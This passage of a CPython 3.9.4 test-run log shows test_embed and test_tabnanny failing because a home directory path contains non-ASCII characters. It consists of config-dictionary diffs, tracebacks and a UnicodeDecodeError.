'/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/_testembed', + 'base_executable': '/home/alexei/????????/Python-3.9.4/_testembed', 'base_prefix': '/usr/local', 'buffered_stdio': 1, 'bytes_warning': 0, 'check_hash_pycs_mode': 'default', 'configure_c_stdio': 0, 'dev_mode': 0, 'dump_refs': 0, 'exec_prefix': '/usr/local', - 'executable': '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/_testembed', + 'executable': '/home/alexei/????????/Python-3.9.4/_testembed', 'faulthandler': 0, 'hash_seed': 0, 'home': None, 'import_time': 0, 'inspect': 0, 'install_signal_handlers': 0, 'interactive': 0, 'isolated': 1, 'malloc_stats': 0, 'module_search_paths': ['/usr/local/lib/python39.zip', - '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/Lib', - '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/build/lib.linux-x86_64-3.9'], + '/home/alexei/????????/Python-3.9.4/Lib', + '/home/alexei/????????/Python-3.9.4/build/lib.linux-x86_64-3.9'], 'optimization_level': 0, 'parse_argv': 0, 'parser_debug': 0, 'pathconfig_warnings': 0, 'platlibdir': 'lib', 'prefix': '/usr/local', 'program_name': './_testembed', 'pycache_prefix': None, 'pythonpath_env': None, 'quiet': 0, 'run_command': None, 'run_filename': None, 'run_module': None, 'show_ref_count': 0, 'site_import': 1, 'skip_source_first_line': 0, 'tracemalloc': 0, 'use_environment': 0, 'use_hash_seed': 0, 'user_site_directory': 0, 'verbose': 0, 'warnoptions': [], 'write_bytecode': 1, 'xoptions': []} ====================================================================== FAIL: test_init_setpath (test.test_embed.InitConfigTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/alexei/????????/Python-3.9.4/Lib/test/test_embed.py", line 1073, in test_init_setpath self.check_all_configs("test_init_setpath", config, File "/home/alexei/????????/Python-3.9.4/Lib/test/test_embed.py", line 688, in check_all_configs self.check_config(configs, expected_config) File "/home/alexei/????????/Python-3.9.4/Lib/test/test_embed.py", line 617, in check_config self.assertEqual(config, expected) AssertionError: {'_co[344 chars]'], 'xoptions': [], 'warnoptions': [], 'python[1007 chars]: []} != {'_co[344 chars]'], '_orig_argv': [], 'xoptions': [], 'warnopt[831 chars]': 0} {'_config_init': 1, '_init_main': 1, '_install_importlib': 1, '_isolated_interpreter': 0, '_orig_argv': [], '_use_peg_parser': 1, 'argv': [''], 'base_exec_prefix': '', 'base_executable': '/usr/bin/python3', 'base_prefix': '', 'buffered_stdio': 1, 'bytes_warning': 0, 'check_hash_pycs_mode': 'default', 'configure_c_stdio': 0, 'dev_mode': 0, 'dump_refs': 0, 'exec_prefix': '', 'executable': '/usr/bin/python3', 'faulthandler': 0, 'hash_seed': 0, 'home': None, 'import_time': 0, 'inspect': 0, 'install_signal_handlers': 1, 'interactive': 0, 'isolated': 0, 'malloc_stats': 0, 'module_search_paths': ['/usr/local/lib/python39.zip', - '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/Lib', - '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/build/lib.linux-x86_64-3.9'], + '/home/alexei/????????/Python-3.9.4/Lib', + '/home/alexei/????????/Python-3.9.4/build/lib.linux-x86_64-3.9'], 'optimization_level': 0, 'parse_argv': 0, 'parser_debug': 0, 'pathconfig_warnings': 1, 'platlibdir': 'lib', 'prefix': '', 'program_name': 'python3', 'pycache_prefix': None, 'pythonpath_env': None, 'quiet': 0, 'run_command': None, 'run_filename': None, 'run_module': None, 'show_ref_count': 0, 'site_import': 1, 'skip_source_first_line': 0, 'tracemalloc': 0, 'use_environment': 1, 'use_hash_seed': 0, 'user_site_directory': 1, 'verbose': 0, 'warnoptions': [], 'write_bytecode': 1, 'xoptions': []} ====================================================================== FAIL: test_init_setpythonhome (test.test_embed.InitConfigTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/alexei/????????/Python-3.9.4/Lib/test/test_embed.py", line 1181, in test_init_setpythonhome self.check_all_configs("test_init_setpythonhome", config, File "/home/alexei/????????/Python-3.9.4/Lib/test/test_embed.py", line 688, in check_all_configs self.check_config(configs, expected_config) File "/home/alexei/????????/Python-3.9.4/Lib/test/test_embed.py", line 617, in check_config self.assertEqual(config, expected) AssertionError: {'_co[344 chars]'], 'xoptions': [], 'warnoptions': [], 'python[2000 chars]: []} != {'_co[344 chars]'], '_orig_argv': [], 'xoptions': [], 'warnopt[1296 chars]': 0} {'_config_init': 1, '_init_main': 1, '_install_importlib': 1, '_isolated_interpreter': 0, '_orig_argv': [], '_use_peg_parser': 1, 'argv': [''], - 'base_exec_prefix': '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4', + 'base_exec_prefix': '/home/alexei/????????/Python-3.9.4', 'base_executable': '/usr/bin/python3', - 'base_prefix': '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4', + 'base_prefix': '/home/alexei/????????/Python-3.9.4', 'buffered_stdio': 1, 'bytes_warning': 0, 'check_hash_pycs_mode': 'default', 'configure_c_stdio': 0, 'dev_mode': 0, 'dump_refs': 0, - 'exec_prefix': '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4', + 'exec_prefix': '/home/alexei/????????/Python-3.9.4', 'executable': '/usr/bin/python3', 'faulthandler': 0, 'hash_seed': 0, - 'home': '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4', + 'home': '/home/alexei/????????/Python-3.9.4', 'import_time': 0, 'inspect': 0, 'install_signal_handlers': 1, 'interactive': 0, 'isolated': 0, 'malloc_stats': 0, 'module_search_paths': ['/usr/local/lib/python39.zip', '/home/alexei/????????/Python-3.9.4/Lib', '/home/alexei/????????/Python-3.9.4/build/lib.linux-x86_64-3.9', - '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/lib/python39.zip', - '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/lib/python3.9', - '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/lib/python3.9/lib-dynload'], + '/home/alexei/????????/Python-3.9.4/lib/python39.zip', + '/home/alexei/????????/Python-3.9.4/lib/python3.9', + '/home/alexei/????????/Python-3.9.4/lib/python3.9/lib-dynload'], 'optimization_level': 0, 'parse_argv': 0, 'parser_debug': 0, 'pathconfig_warnings': 1, 'platlibdir': 'lib', - 'prefix': '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4', + 'prefix': '/home/alexei/????????/Python-3.9.4', 'program_name': 'python3', 'pycache_prefix': None, 'pythonpath_env': '/usr/local/lib/python39.zip:/home/alexei/????????/Python-3.9.4/Lib:/home/alexei/????????/Python-3.9.4/build/lib.linux-x86_64-3.9', 'quiet': 0, 'run_command': None, 'run_filename': None, 'run_module': None, 'show_ref_count': 0, 'site_import': 1, 'skip_source_first_line': 0, 'tracemalloc': 0, 'use_environment': 1, 'use_hash_seed': 0, 'user_site_directory': 1, 'verbose': 0, 'warnoptions': [], 'write_bytecode': 1, 'xoptions': []} ====================================================================== FAIL: test_preinit_dont_parse_argv (test.test_embed.InitConfigTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/alexei/????????/Python-3.9.4/Lib/test/test_embed.py", line 907, in test_preinit_dont_parse_argv self.check_all_configs("test_preinit_dont_parse_argv", config, preconfig, File "/home/alexei/????????/Python-3.9.4/Lib/test/test_embed.py", line 688, in check_all_configs self.check_config(configs, expected_config) File "/home/alexei/????????/Python-3.9.4/Lib/test/test_embed.py", line 617, in check_config self.assertEqual(config, expected) AssertionError: {'_co[408 chars]'], 'xoptions': [], 'warnoptions': [], 'python[1342 chars]py']} != {'_co[408 chars]'], '_orig_argv': ['python3', '-E', '-I', '-X'[990 chars]': 0} {'_config_init': 3, '_init_main': 1, '_install_importlib': 1, '_isolated_interpreter': 0, '_orig_argv': ['python3', '-E', '-I', '-X', 'dev', '-X', 'utf8', 'script.py'], '_use_peg_parser': 1, 'argv': ['python3', '-E', '-I', '-X', 'dev', '-X', 'utf8', 'script.py'], 'base_exec_prefix': '/usr/local', - 'base_executable': '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/_testembed', + 'base_executable': '/home/alexei/????????/Python-3.9.4/_testembed', 'base_prefix': '/usr/local', 'buffered_stdio': 1, 'bytes_warning': 0, 'check_hash_pycs_mode': 'default', 'configure_c_stdio': 0, 'dev_mode': 0, 'dump_refs': 0, 'exec_prefix': '/usr/local', - 'executable': '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/_testembed', + 'executable': '/home/alexei/????????/Python-3.9.4/_testembed', 'faulthandler': 0, 'hash_seed': 0, 'home': None, 'import_time': 0, 'inspect': 0, 'install_signal_handlers': 0, 'interactive': 0, 'isolated': 0, 'malloc_stats': 0, 'module_search_paths': ['/usr/local/lib/python39.zip', - '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/Lib', - '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/build/lib.linux-x86_64-3.9'], + '/home/alexei/????????/Python-3.9.4/Lib', + '/home/alexei/????????/Python-3.9.4/build/lib.linux-x86_64-3.9'], 'optimization_level': 0, 'parse_argv': 0, 'parser_debug': 0, 'pathconfig_warnings': 0, 'platlibdir': 'lib', 'prefix': '/usr/local', 'program_name': './_testembed', 'pycache_prefix': None, 'pythonpath_env': None, 'quiet': 0, 'run_command': None, 'run_filename': None, 'run_module': None, 'show_ref_count': 0, 'site_import': 1, 'skip_source_first_line': 0, 'tracemalloc': 0, 'use_environment': 0, 'use_hash_seed': 0, 'user_site_directory': 0, 'verbose': 0, 'warnoptions': [], 'write_bytecode': 1, 'xoptions': []} ====================================================================== FAIL: test_preinit_isolated_config (test.test_embed.InitConfigTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/alexei/????????/Python-3.9.4/Lib/test/test_embed.py", line 937, in test_preinit_isolated_config self.check_all_configs("test_preinit_isolated_config", api=API_ISOLATED) File "/home/alexei/????????/Python-3.9.4/Lib/test/test_embed.py", line 688, in check_all_configs self.check_config(configs, expected_config) File "/home/alexei/????????/Python-3.9.4/Lib/test/test_embed.py", line 617, in check_config self.assertEqual(config, expected) AssertionError: {'_co[349 chars]'], 'xoptions': [], 'warnoptions': [], 'python[1281 chars]: []} != {'_co[349 chars]'], '_orig_argv': [], 'xoptions': [], 'warnopt[929 chars]': 0} {'_config_init': 3, '_init_main': 1, '_install_importlib': 1, '_isolated_interpreter': 0, '_orig_argv': [], '_use_peg_parser': 1, 'argv': [''], 'base_exec_prefix': '/usr/local', - 'base_executable': '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/_testembed', + 'base_executable': '/home/alexei/????????/Python-3.9.4/_testembed', 'base_prefix': '/usr/local', 'buffered_stdio': 1, 'bytes_warning': 0, 'check_hash_pycs_mode': 'default', 'configure_c_stdio': 0, 'dev_mode': 0, 'dump_refs': 0, 'exec_prefix': '/usr/local', - 'executable': '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/_testembed', + 'executable': '/home/alexei/????????/Python-3.9.4/_testembed', 'faulthandler': 0, 'hash_seed': 0, 'home': None, 'import_time': 0, 'inspect': 0, 'install_signal_handlers': 0, 'interactive': 0, 'isolated': 1, 'malloc_stats': 0, 'module_search_paths': ['/usr/local/lib/python39.zip', - '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/Lib', - '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/build/lib.linux-x86_64-3.9'], + '/home/alexei/????????/Python-3.9.4/Lib', + '/home/alexei/????????/Python-3.9.4/build/lib.linux-x86_64-3.9'], 'optimization_level': 0, 'parse_argv': 0, 'parser_debug': 0, 'pathconfig_warnings': 0, 'platlibdir': 'lib', 'prefix': '/usr/local', 'program_name': './_testembed', 'pycache_prefix': None, 'pythonpath_env': None, 'quiet': 0, 'run_command': None, 'run_filename': None, 'run_module': None, 'show_ref_count': 0, 'site_import': 1, 'skip_source_first_line': 0, 'tracemalloc': 0, 'use_environment': 0, 'use_hash_seed': 0, 'user_site_directory': 0, 'verbose': 0, 'warnoptions': [], 'write_bytecode': 1, 'xoptions': []} ---------------------------------------------------------------------- Ran 52 tests in 12.129s FAILED (failures=5) test test_embed failed == Tests result: FAILURE == 2 tests failed: test_embed test_tabnanny 0:00:12 load avg: 0.69 0:00:12 load avg: 0.69 Re-running failed tests in verbose mode 0:00:12 load avg: 0.69 Re-running test_tabnanny in verbose mode test_correct_directory (test.test_tabnanny.TestCheck) Directory which contains few error free python source code files. ... ok test_correct_directory_verbose (test.test_tabnanny.TestCheck) Directory containing few error free python source code files. ... ok test_correct_file (test.test_tabnanny.TestCheck) A python source code file without any errors. ... ok test_errored_directory (test.test_tabnanny.TestCheck) Directory containing wrongly indented python source code files. ... ok test_when_nannynag_error (test.test_tabnanny.TestCheck) A python source code file eligible for raising `tabnanny.NannyNag`. ... ok test_when_nannynag_error_verbose (test.test_tabnanny.TestCheck) A python source code file eligible for raising `tabnanny.NannyNag`. ... ok test_when_no_file (test.test_tabnanny.TestCheck) A python file which does not exist actually in system. ... ok test_when_tokenize_tokenerror (test.test_tabnanny.TestCheck) A python source code file eligible for raising 'tokenize.TokenError'. ... ok test_when_wrong_indented (test.test_tabnanny.TestCheck) A python source code file eligible for raising `IndentationError`. ... ok test_command_usage (test.test_tabnanny.TestCommandLine) Should display usage on no arguments. ... ERROR test_double_verbose_mode (test.test_tabnanny.TestCommandLine) Should display detailed error information if double verbose is on. ... ok test_quiet_flag (test.test_tabnanny.TestCommandLine) Should display less when quite mode is on. ... ok test_verbose_mode (test.test_tabnanny.TestCommandLine) Should display more error information if verbose mode is on. ... ok test_with_error_free_file (test.test_tabnanny.TestCommandLine) Should not display anything if python file is correctly indented. ... ok test_with_errored_file (test.test_tabnanny.TestCommandLine) Should displays error when errored python file is given. ... ok test_errprint (test.test_tabnanny.TestErrPrint) Asserting result of `tabnanny.errprint()` by giving sample inputs. ... ok test_format_witnesses (test.test_tabnanny.TestFormatWitnesses) Asserting formatter result by giving various input samples. ... ok test_all_methods (test.test_tabnanny.TestNannyNag) Asserting behaviour of `tabnanny.NannyNag` exception. ... ok test_with_correct_code (test.test_tabnanny.TestProcessTokens) A python source code without any whitespace related problems. ... ok test_with_errored_codes_samples (test.test_tabnanny.TestProcessTokens) A python source code with whitespace related sampled problems. ... ok ====================================================================== ERROR: test_command_usage (test.test_tabnanny.TestCommandLine) Should display usage on no arguments. ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/alexei/????????/Python-3.9.4/Lib/test/test_tabnanny.py", line 324, in test_command_usage self.validate_cmd(stderr=stderr) File "/home/alexei/????????/Python-3.9.4/Lib/test/test_tabnanny.py", line 296, in validate_cmd err = err.decode('ascii') UnicodeDecodeError: 'ascii' codec can't decode byte 0xd0 in position 20: ordinal not in range(128) ---------------------------------------------------------------------- Ran 20 tests in 0.864s FAILED (errors=1) test test_tabnanny failed 0:00:13 load avg: 0.69 Re-running test_embed in verbose mode test_audit (test.test_embed.AuditingTests) ... ok test_audit_run_command (test.test_embed.AuditingTests) ... ok test_audit_run_file (test.test_embed.AuditingTests) ... ok test_audit_run_interactivehook (test.test_embed.AuditingTests) ... ok test_audit_run_startup (test.test_embed.AuditingTests) ... ok test_audit_run_stdin (test.test_embed.AuditingTests) ... ok test_audit_subinterpreter (test.test_embed.AuditingTests) ... ok test_open_code_hook (test.test_embed.AuditingTests) ... ok test_bpo20891 (test.test_embed.EmbeddingTests) bpo-20891: Calling PyGILState_Ensure in a non-Python thread must not ... ok test_forced_io_encoding (test.test_embed.EmbeddingTests) ... ok test_initialize_pymain (test.test_embed.EmbeddingTests) bpo-34008: Calling Py_Main() after Py_Initialize() must not fail. ... ok test_initialize_twice (test.test_embed.EmbeddingTests) bpo-33932: Calling Py_Initialize() twice should do nothing (and not ... ok test_pre_initialization_api (test.test_embed.EmbeddingTests) Checks some key parts of the C-API that need to work before the runtine ... ok test_pre_initialization_sys_options (test.test_embed.EmbeddingTests) Checks that sys.warnoptions and sys._xoptions can be set before the ... ok test_run_main (test.test_embed.EmbeddingTests) ... ok test_subinterps_different_ids (test.test_embed.EmbeddingTests) ... ok test_subinterps_distinct_state (test.test_embed.EmbeddingTests) ... ok test_subinterps_main (test.test_embed.EmbeddingTests) ... ok test_get_argc_argv (test.test_embed.InitConfigTests) ... ok test_global_pathconfig (test.test_embed.InitConfigTests) ... ok test_init_compat_config (test.test_embed.InitConfigTests) ... ok test_init_compat_env (test.test_embed.InitConfigTests) ... ok test_init_default_config (test.test_embed.InitConfigTests) ... ok test_init_dev_mode (test.test_embed.InitConfigTests) ... ok test_init_dont_configure_locale (test.test_embed.InitConfigTests) ... ok test_init_dont_parse_argv (test.test_embed.InitConfigTests) ... ok test_init_env_dev_mode (test.test_embed.InitConfigTests) ... ok test_init_env_dev_mode_alloc (test.test_embed.InitConfigTests) ... ok test_init_from_config (test.test_embed.InitConfigTests) ... ok test_init_global_config (test.test_embed.InitConfigTests) ... ok test_init_isolated_config (test.test_embed.InitConfigTests) ... FAIL test_init_isolated_flag (test.test_embed.InitConfigTests) ... ok test_init_main (test.test_embed.InitConfigTests) ... ok test_init_parse_argv (test.test_embed.InitConfigTests) ... ok test_init_pybuilddir (test.test_embed.InitConfigTests) ... ok test_init_python_config (test.test_embed.InitConfigTests) ... ok test_init_python_env (test.test_embed.InitConfigTests) ... ok test_init_pyvenv_cfg (test.test_embed.InitConfigTests) ... ok test_init_read_set (test.test_embed.InitConfigTests) ... ok test_init_run_main (test.test_embed.InitConfigTests) ... ok test_init_setpath (test.test_embed.InitConfigTests) ... FAIL test_init_setpath_config (test.test_embed.InitConfigTests) ... ok test_init_setpythonhome (test.test_embed.InitConfigTests) ... FAIL test_init_sys_add (test.test_embed.InitConfigTests) ... ok test_init_warnoptions (test.test_embed.InitConfigTests) ... ok test_preinit_compat_config (test.test_embed.InitConfigTests) ... ok test_preinit_dont_parse_argv (test.test_embed.InitConfigTests) ... FAIL test_preinit_isolated1 (test.test_embed.InitConfigTests) ... ok test_preinit_isolated2 (test.test_embed.InitConfigTests) ... ok test_preinit_isolated_config (test.test_embed.InitConfigTests) ... FAIL test_preinit_parse_argv (test.test_embed.InitConfigTests) ... ok test_preinit_python_config (test.test_embed.InitConfigTests) ... ok ====================================================================== FAIL: test_init_isolated_config (test.test_embed.InitConfigTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/alexei/????????/Python-3.9.4/Lib/test/test_embed.py", line 940, in test_init_isolated_config self.check_all_configs("test_init_isolated_config", api=API_ISOLATED) File "/home/alexei/????????/Python-3.9.4/Lib/test/test_embed.py", line 688, in check_all_configs self.check_config(configs, expected_config) File "/home/alexei/????????/Python-3.9.4/Lib/test/test_embed.py", line 617, in check_config self.assertEqual(config, expected) AssertionError: {'_co[349 chars]'], 'xoptions': [], 'warnoptions': [], 'python[1281 chars]: []} != {'_co[349 chars]'], '_orig_argv': [], 'xoptions': [], 'warnopt[929 chars]': 0} {'_config_init': 3, '_init_main': 1, '_install_importlib': 1, '_isolated_interpreter': 0, '_orig_argv': [], '_use_peg_parser': 1, 'argv': [''], 'base_exec_prefix': '/usr/local', - 'base_executable': '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/_testembed', + 'base_executable': '/home/alexei/????????/Python-3.9.4/_testembed', 'base_prefix': '/usr/local', 'buffered_stdio': 1, 'bytes_warning': 0, 'check_hash_pycs_mode': 'default', 'configure_c_stdio': 0, 'dev_mode': 0, 'dump_refs': 0, 'exec_prefix': '/usr/local', - 'executable': '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/_testembed', + 'executable': '/home/alexei/????????/Python-3.9.4/_testembed', 'faulthandler': 0, 'hash_seed': 0, 'home': None, 'import_time': 0, 'inspect': 0, 'install_signal_handlers': 0, 'interactive': 0, 'isolated': 1, 'malloc_stats': 0, 'module_search_paths': ['/usr/local/lib/python39.zip', - '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/Lib', - '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/build/lib.linux-x86_64-3.9'], + '/home/alexei/????????/Python-3.9.4/Lib', + '/home/alexei/????????/Python-3.9.4/build/lib.linux-x86_64-3.9'], 'optimization_level': 0, 'parse_argv': 0, 'parser_debug': 0, 'pathconfig_warnings': 0, 'platlibdir': 'lib', 'prefix': '/usr/local', 'program_name': './_testembed', 'pycache_prefix': None, 'pythonpath_env': None, 'quiet': 0, 'run_command': None, 'run_filename': None, 'run_module': None, 'show_ref_count': 0, 'site_import': 1, 'skip_source_first_line': 0, 'tracemalloc': 0, 'use_environment': 0, 'use_hash_seed': 0, 'user_site_directory': 0, 'verbose': 0, 'warnoptions': [], 'write_bytecode': 1, 'xoptions': []} ====================================================================== FAIL: test_init_setpath (test.test_embed.InitConfigTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/alexei/????????/Python-3.9.4/Lib/test/test_embed.py", line 1073, in test_init_setpath self.check_all_configs("test_init_setpath", config, File "/home/alexei/????????/Python-3.9.4/Lib/test/test_embed.py", line 688, in check_all_configs self.check_config(configs, expected_config) File "/home/alexei/????????/Python-3.9.4/Lib/test/test_embed.py", line 617, in check_config self.assertEqual(config, expected) AssertionError: {'_co[344 chars]'], 'xoptions': [], 'warnoptions': [], 'python[1007 chars]: []} != {'_co[344 chars]'], '_orig_argv': [], 'xoptions': [], 'warnopt[831 chars]': 0} {'_config_init': 1, '_init_main': 1, '_install_importlib': 1, '_isolated_interpreter': 0, '_orig_argv': [], '_use_peg_parser': 1, 'argv': [''], 'base_exec_prefix': '', 'base_executable': '/usr/bin/python3', 'base_prefix': '', 'buffered_stdio': 1, 'bytes_warning': 0, 'check_hash_pycs_mode': 'default', 'configure_c_stdio': 0, 'dev_mode': 0, 'dump_refs': 0, 'exec_prefix': '', 'executable': '/usr/bin/python3', 'faulthandler': 0, 'hash_seed': 0, 'home': None, 'import_time': 0, 'inspect': 0, 'install_signal_handlers': 1, 'interactive': 0, 'isolated': 0, 'malloc_stats': 0, 'module_search_paths': ['/usr/local/lib/python39.zip', - '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/Lib', - '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/build/lib.linux-x86_64-3.9'], + '/home/alexei/????????/Python-3.9.4/Lib', + '/home/alexei/????????/Python-3.9.4/build/lib.linux-x86_64-3.9'], 'optimization_level': 0, 'parse_argv': 0, 'parser_debug': 0, 'pathconfig_warnings': 1, 'platlibdir': 'lib', 'prefix': '', 'program_name': 'python3', 'pycache_prefix': None, 'pythonpath_env': None, 'quiet': 0, 'run_command': None, 'run_filename': None, 'run_module': None, 'show_ref_count': 0, 'site_import': 1, 'skip_source_first_line': 0, 'tracemalloc': 0, 'use_environment': 1, 'use_hash_seed': 0, 'user_site_directory': 1, 'verbose': 0, 'warnoptions': [], 'write_bytecode': 1, 'xoptions': []} ====================================================================== FAIL: test_init_setpythonhome (test.test_embed.InitConfigTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/alexei/????????/Python-3.9.4/Lib/test/test_embed.py", line 1181, in test_init_setpythonhome self.check_all_configs("test_init_setpythonhome", config, File "/home/alexei/????????/Python-3.9.4/Lib/test/test_embed.py", line 688, in check_all_configs self.check_config(configs, expected_config) File "/home/alexei/????????/Python-3.9.4/Lib/test/test_embed.py", line 617, in check_config self.assertEqual(config, expected) AssertionError: {'_co[344 chars]'], 'xoptions': [], 'warnoptions': [], 'python[2000 chars]: []} != {'_co[344 chars]'], '_orig_argv': [], 'xoptions': [], 'warnopt[1296 chars]': 0} {'_config_init': 1, '_init_main': 1, '_install_importlib': 1, '_isolated_interpreter': 0, '_orig_argv': [], '_use_peg_parser': 1, 'argv': [''], - 'base_exec_prefix': '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4', + 'base_exec_prefix': '/home/alexei/????????/Python-3.9.4', 'base_executable': '/usr/bin/python3', - 'base_prefix': '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4', + 'base_prefix': '/home/alexei/????????/Python-3.9.4', 'buffered_stdio': 1, 'bytes_warning': 0, 'check_hash_pycs_mode': 'default', 'configure_c_stdio': 0, 'dev_mode': 0, 'dump_refs': 0, - 'exec_prefix': '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4', + 'exec_prefix': '/home/alexei/????????/Python-3.9.4', 'executable': '/usr/bin/python3', 'faulthandler': 0, 'hash_seed': 0, - 'home': '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4', + 'home': '/home/alexei/????????/Python-3.9.4', 'import_time': 0, 'inspect': 0, 'install_signal_handlers': 1, 'interactive': 0, 'isolated': 0, 'malloc_stats': 0, 'module_search_paths': ['/usr/local/lib/python39.zip', '/home/alexei/????????/Python-3.9.4/Lib', '/home/alexei/????????/Python-3.9.4/build/lib.linux-x86_64-3.9', - '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/lib/python39.zip', - '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/lib/python3.9', - '/home/alexei/\udcd0\udc97\udcd0\udcb0\udcd0\udcb3\udcd1\udc80\udcd1\udc83\udcd0\udcb7\udcd0\udcba\udcd0\udcb8/Python-3.9.4/lib/python3.9/lib-dynload'], + '/home/alexei/????????/Python-3.9.4/lib/python39.zip', + '/home/alexei/????????/Python-3.9.4/lib/python3.9', + '/home/alexei/????????/Python-3.9.4/lib/python3.9/lib-dynload'], 'optimization_level': 0, 'parse_argv': 0, 'parser_debug': 0, 'pathconfig_warnings': 1, 'platlibdir': 'lib', - 'prefix': 